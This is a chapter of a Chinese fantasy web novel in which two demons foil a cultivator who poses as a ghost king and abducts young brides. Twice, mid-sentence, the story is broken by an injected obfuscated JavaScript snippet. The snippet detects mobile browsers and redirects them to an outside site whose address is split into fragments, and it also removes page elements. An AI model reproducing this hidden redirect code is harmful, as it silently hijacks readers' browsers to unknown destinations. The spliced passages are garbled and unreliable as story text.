“阿难哥哥,那不是普通的猫,而是妖猫。” “嗯,这妖猫的妖气很明显,修为并不高,搞事情的正主儿不可能是它,只是一个负责挑选目标的小卒子罢了。” “难怪它一直缠着那姑娘撒娇,故意沾了不少猫毛在她身上。这些有妖气的毛发相当于记号,回头想去找人家姑娘下手就再容易不过了。” 一般的普通人根本看不到也察觉不到妖气的存在。 妖猫利用自己的毛发给这位蓝衣少女打上记号后,无论她离开玄清庙去了哪里,妖气就会出现在哪里,就像一缕炊烟般标记着她的位置。 “看来这位千金小姐是被他们盯上了,我跪了大半个时辰也没人搭理,她一来妖猫就出现主动套近乎,真是失败呀!” 应长恨有些纳闷,“为什么会这样?你现在这个女王蜂的外表明明也不差呀!千娇百媚万种风情。” “或许坏就坏在太有风情了!你忘了,之前的受害人只都是十五六岁的妙龄少女,这个邪祟的目标是那些花骨朵一样稚嫩青涩的少女,而不是鲜花怒放般的成熟女人。” “也是,如果想利用元阴之体来修炼,年轻稚嫩的少女自然是首选。” “邪祟有了新目标,这两天肯定就会有行动。一会儿咱们就跟着这位小姐回家,然后守株待兔地等着他登场。” 蓝衣少女乘坐的马车驶离玄清庙时,明光和应长恨一路跟在后头,看着马车进了沧城中心一座五进院落的宅邸,朱漆大门上方挂着华府的牌匾。 . 沧城,华府。 和所有大户人家一样,华府分为内宅与外宅。 连接内外宅的唯一通道叫二道门,府中的女眷轻易不能走出这道门,外男与家丁则不允许擅入这道门。 当然,这道门是拦不住明光和应长恨的。 他们两天前就悄悄进了华府内宅,一直守在那位蓝衣少女——华家唯一的小姐的闺房外。 今天已经是第三天,按照以往惯例,邪祟十有八九要出面作祟了。 天黑后果然有了动静,而且动静还挺大。一帮小鬼模样的家伙扛着一顶花轿,敲锣打鼓地越过高墙飞入华府。 “鬼王选妃,华氏应诏,我等奉命来接新娘子。” 躲在暗中观察的应长恨和明光,都被这“排面”小小地震撼了一下。 “我去,什么情况?这邪祟之前还鬼祟行事,今晚怎么竟高调起来了?” 明光猜测道:“也许是因为鬼王选妃的消息已经传开了,他干脆高调一把,彻底坐实此事乃鬼王所为。” “懂了,这混账看来是觉得黑锅在我头上扣得还不够严实,所以今晚要敲锣打鼓满世界嚷嚷着再坐实一下。” 一帮鬼差抬着花轿闯进来要接新娘,名为喜事实乃祸事。 华氏夫妇都被骇得面无人色,华小姐更是花容失色地缩在母亲怀里瑟瑟发抖。 “新娘子速速梳妆打扮,一刻钟后上轿启程,不能让鬼王久等。” 华夫人六神无主地问丈夫,“天啊,夫君,这可怎么办?!咱们就只有兰儿这么一个女儿呀!” 华老爷是习武之人,一向胆识过人。 惊骇过后,他一把操起自己的佩剑,打算冲出屋跟那帮小鬼殊死一搏。女儿是他的心头肉,无论如何不能这样拱手送人。 “我去跟他们拼了,你赶紧带着女儿从后门逃,能逃多快就多快。” 华小姐却猛地冲上前拦在父亲面前,颤声泣道:“不行,爹,我不能让您去送死。” “兰儿,保护女儿是父亲的职责。爹会尽量拖住那帮小鬼,你快点和你娘逃命去吧!” “不,我不逃,如果我活下来的代价是让爹送死,那我宁愿坐上那顶花轿给鬼王当妃子。只要爹娘能够平安,女儿愿意牺牲自己。” “可是兰儿,爹不想牺牲你呀!” “爹,外头是鬼差,你一介凡人去阻拦他们只会白白送死,我也还是会被抢走。到时候,您让娘一个人怎么活下去呀?不如我先上花轿随他们去,爹娘回头再想办法来救我。” 华小姐带着悲泣的声音刚落,屋里突然有一个娇柔动听的声音响起。 “华小姐,你不用上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15056692|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花轿,我可以代替你上花轿。” 华氏一家三口一起循声扭头,无比惊讶地发现屋里不知几时又多出了一位“华小姐”。 无论容貌身材还是衣着打扮,都和真正的华小姐一模一样,仿佛是一对孪生姐妹。 . 邪祟自己躲着不露面,而是派出一帮小喽罗来华府接新娘子,明光自然就想到了李代桃僵之计。 他穿墙入室进了华小姐的闺房,在发梳上找到几根她的头发,再利用改头换面符,把自己变成了如兰似蕙般清丽动人的“华小姐”。 华老爷是有点见识的人,很快反应过来这是遇上高人了,马上走过去对着“华小姐”深深一躬到底。 “多谢高人出手相助,不知阁下尊姓大名,华某他日必将厚谢。” “不用了,举手之劳,何足挂齿。你们快带着华小姐躲进里屋,我要开门出去上花轿了。” 出门前,“华小姐”先酝酿了一下情绪,堆满一脸惊恐不安的神色后,再打开房门往外走。 一边走,还一边拿着帕子擦眼睛,配合着抽抽噎噎的哭声,看上去完全就是一个被吓坏了的可怜少女。 “新娘子上轿喽!” “华小姐”哭哭啼啼不情不愿地上了花轿后,众小鬼就抬着轿子飞上半空直奔南海。 应长恨磨着后槽牙一路尾随,铆足了劲要把这个冒充自己作恶的家伙揪出来往死里打。 南海近海一带有大大小小上百个岛屿,花轿被抬至其中一座荒无人烟的小岛,黑夜中看不见一点烛火微芒。 岛上有一处高耸的悬崖,众小鬼抬着花轿飞到悬崖前时,原本坚硬光滑的崖壁,突然像两扇门一样从中间打开,露出藏在里头的一栋楼阁。 朱栏碧瓦,赤柱金饰,灯火辉煌,华美得宛如天上宫阙。 花轿进入楼阁后,崖壁瞬间就恢复了原貌。尾随其后的应长恨,措手不及地被挡在了外头。 之前他不敢跟得太紧,怕被狡猾的邪祟察觉出异样不肯露面,谁知这家伙还有这一招。 “阿难哥哥,这邪门的悬崖说合就合上了,我都没来得及跟进去,你现在什么情况?” 应长恨马上利用传音鱼符和明光联系,片刻后得到回复。 “阿难弟弟,我刚被送进洞房了,不过正主儿还没露面呢,你先别硬闯,当心打草惊蛇。” “好,那我先在外面守着。你当心一点,有什么事就马上联系我。” 140.杀人灭口 华美非凡的三层楼阁中,二楼有一间布置得喜气洋洋的洞房,“华小姐”一下花轿就被送来了这里。 众小鬼把人送入洞房就关上门离去,留下明光独自一人坐在床畔。他闭上双眼,用灵识去捕捉四处的动静,发现楼中突然变得鸦雀无声。 咦,其他人呢?那些小鬼应该还在门外没有走远才对,怎么一点动静都没了? 明光拎着裙摆走到房门前,推开一线房门朝外张望。 洞房外空无一人,地板上散落着好几张正在燃烧的纸人,上头还画着符咒。 他有所了悟地目光一凝:原来刚才的小鬼们,都是以符术驱动的纸人,完成任务后就会自动烧毁。 这事就透着蹊跷了,符术乃是道家法术,妖魔鬼怪之类是一窍不通的。当然,像明光这样的异类除外。 他回到床畔坐下,一脸的若有所思:难道作祟的人不是邪祟,而是假冒邪祟的邪修? 修真人士的修行之道,大多数都是走的正统路线,但是也有极少数会走歪门斜道,这类修士往往被称为邪修。 “华小姐”独自在洞房里枯坐了两刻钟左右后,终于有人推开房门走了进来。 那是一位仪表堂堂风度翩翩的锦衣公子,生着一双勾魂摄魄的桃花眼,一进屋就看着“华小姐”微笑,笑得别提多眉目传情了。 “你是兰儿吧?我就是你的夫君。” “华小姐”脸上的神色既有未褪的惊恐,也有出乎意料的惊讶,娇怯怯地问道:“你就是鬼王殿下吗?” “是啊,别怕,你看我的样子一点也不吓人,对吧?” “嗯,你跟我想像中的完全不一样,我原本还以为你长得青面獠牙呢!” 自称鬼王的锦衣公子听得哑然失笑,“现在知道我不是青面獠牙了,你愿意嫁给我了吗?” “虽然殿下一表人才,可到底人鬼殊途,我还是想回家承欢双亲膝下,还望殿下恩准。” “不行,既然你已经被花轿抬来了这儿,那么就生是我的人,死是我的鬼,不能再回家了。” “可是我想回家,我想见爹娘。求求殿下,放我走吧!” “华小姐”扑通一声跪倒在锦衣公子面前,仰着一张哭得梨花带雨的面孔,别提多楚楚可怜了。 明光其实并不擅长哭戏,今天属于超常发挥了。 他想看看能不能激发对方的同情心,高抬贵手放人离去,那就证明这个“鬼王”坏得还算有救。 “我不能放你走,你哭得这副梨花一枝春带雨的模样,实在太惹人怜爱了!我现在只想好好怜爱一下你。” 话音未落,锦衣公子已经弯下腰抱起“华小姐”,直接往床上一扔。 “爱妃,咱们洞房吧!” . 洞房这种需要为艺术献身的操作,可不在明光的表演范围内。 趁着锦衣公子还站在床边脱衣服,他赶紧掏出传音鱼符大喊:“阿难弟弟快来呀!” 哭哭啼啼的娇柔少女突然利用一块符向人求助,这波操作让锦衣公子始料未及。 一怔之后,他就立刻反应过来,意识到这位华小姐并不简单,恐怕并非本尊。 “你是什么人?” 一边厉声质问,锦衣公子一边不假思索地劈出一记掌心雷,试图毁去明光手中那块传音鱼符,被他鱼一般滑溜地闪身避开了。 与此同时,外头传来山崩地裂般的轰隆响声,那是应长恨动用鬼刀风雷怒在劈山。 能靠这种暴力掀桌的方式硬闯,说明对方有着十分高强的法力。 锦衣公子神色一凛,立即抬手在空中虚画出一道繁复之极的光符。 符文形成的一瞬间,整栋楼阁一瞬间就光速消失了,包括身在楼中的明光与锦衣公子。 劈开悬崖闯进来的应长恨,只看到一个空空如也的偌大山洞,之前藏在山洞里的华美楼阁已经不翼而飞了。 “阿难哥哥,我劈开悬崖进来了,可是这里却什么都没有了,你现在人在哪儿?” “阿难哥哥,你到底在哪儿,能不能回复我一下?” “阿难哥哥,你能听见我说的话吗?听见了就赶紧回复一下,我很担心你。” …… 应长恨心急如焚,对着传音鱼符频繁留言,可是明光那端却始终没有任何回应。 . 万顷南海,宛如一方无比巨大的碧琉璃。大海深处,藏着一座树木葱郁如绿宝石般的无名孤岛。 这座孤岛与近海那座荒岛一样,有着一处高耸的悬崖。安静的深夜中,悬崖内部正隐隐传出一阵轰隆作响声。 荒无人烟的小岛上,这声响除了惊起栖息在悬崖附近的一些鸟雀外,不会引来任何关注。 那栋华美非凡的楼阁,已经被瞬移到了此处。 连人带屋子都在一眨眼间被挪动了地方,如此精妙的缩地术,绝非一般人能掌握的。 明光都有些暗自心惊:这家伙到底是谁?段位很是不低呢!绝对不会只是一个邪修那么简单。 锦衣公子死死盯着“华小姐”问道: “你究竟是谁?别再企图通过那块符传出讯息。这个山洞设了双重结界,除非你能破了它,否则任何消息都传不出去。” 想要破除别人设下的结界,法力就得比对方更强才行,双重结界就更费劲了。 锦衣公子不认为“华小姐”有这等能耐,否则刚才也不会向什么阿难弟弟求助。 “华小姐”打着哈哈道:“好好好,我交代,我什么都交代。这事说来话长,鬼王殿下请坐,我先给你倒杯水,再慢慢给你说。” “你想拖延时间,可我没那个功夫。你要是不想交代就算了,咱们继续接着洞房吧!” “鬼王”如此热衷于洞房环节,明光算是知道为什么他转移时还不忘带上自己了,因为已经到了嘴边的肥肉不想错过。 “不行不行,我不能陪你洞房,因为我不是女人是男人。” 一边说,明光一边火速从女娇娥变回了男儿郎。目睹了这幕大变活人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15064808|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦衣公子,神色也为之一变,变得无比的气急败坏。 “有没有搞错?你竟是男子!为什么要冒充华小姐坏我好事?” 明光一摊双手道:“你做的可不是什么好事,我也不是在干坏事,而是路见不平拔刀相助了。” “你到底是谁?还有那个阿难弟弟又是谁?你俩究竟什么来头?连鬼王选妃都敢出面管闲事。” “如果是别的闲事,我们没准还懒得操这份闲心,但鬼王选妃却是无论如何也要管的,因为阿难弟弟的大名就叫应长恨。你要是冒充别人也就算了,偏偏要冒充他,所以成功引起了他的注意。” 锦衣公子难以置信地浑身一震,万万没想到自己假冒鬼王的行为,居然还把真鬼王给招来了。 “什么?他是应长恨,那你是明光?” 虽然没有见过明光和应长恨,但是他俩“狼狈为奸”的事已经三界皆知,锦衣公子很容易做出这样的推断。 “正是区区不才在下我了。” 锦衣公子的脸色一阵变幻莫测,眼神中既有狠戾又有顾忌。 “你在想要不要杀了我灭口是吧?我奉劝你最好不要。” “为什么不要?你如今只是一个修炼不过三百年的妖,法力并不高强。就算收回了仙剑日月明,也难以发挥出它昔日哪怕三成的神威。我如果要杀你,你是很难自保的,否则刚才也不会向应长恨求助了。” “虽然我的妖生修炼时间确实不长,但我可是天赋异禀的修真奇才,即使目前还达不到曾经的巅峰时期,法力也会高于普通妖族。况且如果有人想要我的命,我肯定会跟他拼命。你真想应对我的殊死一搏吗?” 明光一番话,说中了锦衣公子心里的顾忌所在。纵然灵曜天君早已不复昔日荣光,但是与之斗战还是令人心怀忌惮。 “所谓杀人灭口,是为了隐瞒真相而杀死知情者。但我现在既不知道你姓甚名谁,也不知道你的出身来历,就连这具皮囊也是假的——我相信你冒充鬼王肯定不会用真容,对吧?” 锦衣公子情不自禁地点了一下头,他顶着鬼王的名头干坏事,当然要把自己彻底伪装一番,绝对不能被人认出来。 “所以呀,在这种我完全不知道你究竟是谁的情况下,你根本没必要杀我灭口。与其费那么大的劲来跟我殊死搏斗,不如赶紧走人。要是应长恨找来了,你没准就走不掉了!” 明光最后那句话,让锦衣公子感觉到一阵压力,但他还是神色傲然地道:“我这处洞府,可不是谁都能轻易找到的。” “别人找不到,不代表应长恨找不到,何况你也完全没必要留下来冒这种风险。总之我已经友情提醒过了,你要不听就算了。” 锦衣公子沉默片刻后,忽然就一声不响地消失了,留下明光独自一人呆在楼阁中。 “喂,你怎么说走就走了?好歹先把我放出去吧!” 明光连喊了好几句,余音在空旷的楼阁中四处回荡着。锦衣公子却再也没有露面,就像一缕水蒸汽般凭空蒸发了。